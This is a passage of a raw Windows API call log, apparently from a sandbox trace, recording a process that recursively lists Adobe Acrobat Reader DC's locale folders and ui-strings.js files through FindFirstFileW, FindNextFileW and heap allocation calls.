dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.672] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.672] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.672] GetProcessHeap () returned 0xc10000 [0246.672] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.672] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0246.672] GetProcessHeap () returned 0xc10000 [0246.672] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.673] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.673] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.673] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.673] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.673] GetProcessHeap () returned 0xc10000 [0246.673] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.674] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0246.674] GetProcessHeap () returned 0xc10000 [0246.674] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.674] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.674] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d03, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.674] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d03, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.674] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.675] GetProcessHeap () returned 0xc10000 [0246.675] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.675] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.675] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0246.675] GetProcessHeap () returned 0xc10000 [0246.675] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.676] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.676] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.676] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.676] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.676] GetProcessHeap () returned 0xc10000 [0246.676] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.676] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0246.676] GetProcessHeap () returned 0xc10000 [0246.676] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0246.677] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.677] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x37e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.677] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x37e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.677] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0246.677] GetProcessHeap () returned 0xc10000 [0246.677] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.677] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0246.677] GetProcessHeap () returned 0xc10000 [0246.677] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.678] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.678] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3855, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.678] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3855, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.678] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.679] GetProcessHeap () returned 0xc10000 [0246.679] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.679] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0246.679] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0246.679] GetProcessHeap () returned 0xc10000 [0246.679] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0246.679] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0246.679] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0246.679] GetProcessHeap () returned 0xc10000 [0246.679] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0246.681] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 0 [0246.681] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0246.681] GetProcessHeap () returned 0xc10000 [0246.681] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.682] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.js", cAlternateFileName="")) returned 1 [0246.682] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1 [0246.682] GetProcessHeap () returned 0xc10000 [0246.682] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0246.684] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.684] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0246.684] GetProcessHeap () returned 0xc10000 [0246.684] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0246.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0246.685] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.685] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0246.685] GetProcessHeap () returned 0xc10000 [0246.685] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0246.686] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 